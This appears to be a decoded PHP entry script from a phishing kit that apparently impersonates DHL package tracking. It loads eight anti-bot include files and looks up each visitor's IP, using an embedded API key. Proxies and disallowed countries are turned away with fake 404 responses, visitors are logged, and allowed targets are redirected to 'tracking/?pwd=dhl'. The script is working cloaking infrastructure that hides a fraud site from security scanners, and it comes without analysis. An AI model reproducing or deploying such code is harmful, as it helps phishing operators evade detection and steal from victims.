PHP Decode

<?php 
 
    session_start(); 
 
    include 'prevents/anti1.php'; 
    include 'prevents/anti2.php'; 
    include 'prevents/anti3.php'; 
    include 'prevents/anti4.php'; 
    include 'prevents/anti5.php'; 
    include 'prevents/anti6.php'; 
    include 'prevents/anti7.php'; 
    include 'prevents/anti8.php'; 
 
    require_once('tracking/app/BrowserDetection.php'); 
 
    $allowed_countries = [ 
        //"MA", 
        //"DE", 
        //"AT", 
        //"CH", 
        //"FR", 
        //"ES", 
        //"AU", 
        //"IT", 
    ]; 
 
    function get_client_ip() { 
        $client  = @$_SERVER['HTTP_CLIENT_IP']; 
        $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; 
        $remote  = $_SERVER['REMOTE_ADDR']; 
        if(filter_var($client, FILTER_VALIDATE_IP)) { 
            $ip = $client; 
        } else if(filter_var($forward, FILTER_VALIDATE_IP)) { 
            $ip = $forward; 
        } else { 
            $ip = $remote; 
        } 
        if( $ip == '::1' ) { 
            return '127.0.0.1'; 
        } 
        return  $ip; 
    } 
 
    function visitors($detection) { 
        GLOBAL $ip_infos; 
        $Browser = new foroco\BrowserDetection(); 
        $useragent       = $_SERVER['HTTP_USER_AGENT']; 
        $result = $Browser->getAll($useragent, 'JSON'); 
        $ip              = $ip_infos['query']; 
        $date            = date("Y-m-d H:i:s", time()); 
        $result          = json_decode($result,true); 
        $os_type         = $result['os_type']; 
        $os_name         = $result['os_name']; 
        $device_type     = $result['device_type']; 
        $browser_name    = $result['browser_name']; 
        $browser_version = $result['browser_version']; 
        $browser_version = $result['browser_version']; 
        $country         = $ip_infos['country']; 
 
        $str = " <tr><th scope='row'>$ip ($country)</th><td>$date</td><td>$detection</td><td>[$device_type] $browser_name $browser_version</td></tr>"; 
        file_put_contents('visitors.html', $str  , FILE_APPEND | LOCK_EX); 
    } 
 
    $ip = get_client_ip(); 
    $ip_infos = file_get_contents("https://pro.ip-api.com/php/". $ip ."?key=I8h97HB1QkUVKV0&fields=status,message,country,countryCode,timezone,currency,isp,mobile,proxy,hosting,query"); 
    $ip_infos = unserialize($ip_infos); 
 
    $_SESSION['currency'] = $ip_infos['currency']; 
 
     
    if( $ip_infos['status'] == "success" ) { 
 
        if( $ip_infos['proxy'] == true ) { 
            visitors("Detected as bot"); 
            header('HTTP/1.0 404 Not Found'); 
            exit(); 
        } 
 
        if( count($allowed_countries) > 0 ) { 
            if( !in_array($ip_infos['countryCode'],$allowed_countries) ) { 
                visitors("Country not allowed"); 
                header('HTTP/1.0 404 Not Found'); 
                exit(); 
            } 
        } 
        $_SESSION['user_allowed'] = true; 
        visitors("Allowed"); 
        header("Location: tracking/?pwd=dhl"); 
        exit(); 
 
    } else { 
        visitors("Not Allowed"); 
        header('HTTP/1.0 404 Not Found'); 
        exit(); 
    } 
 
?>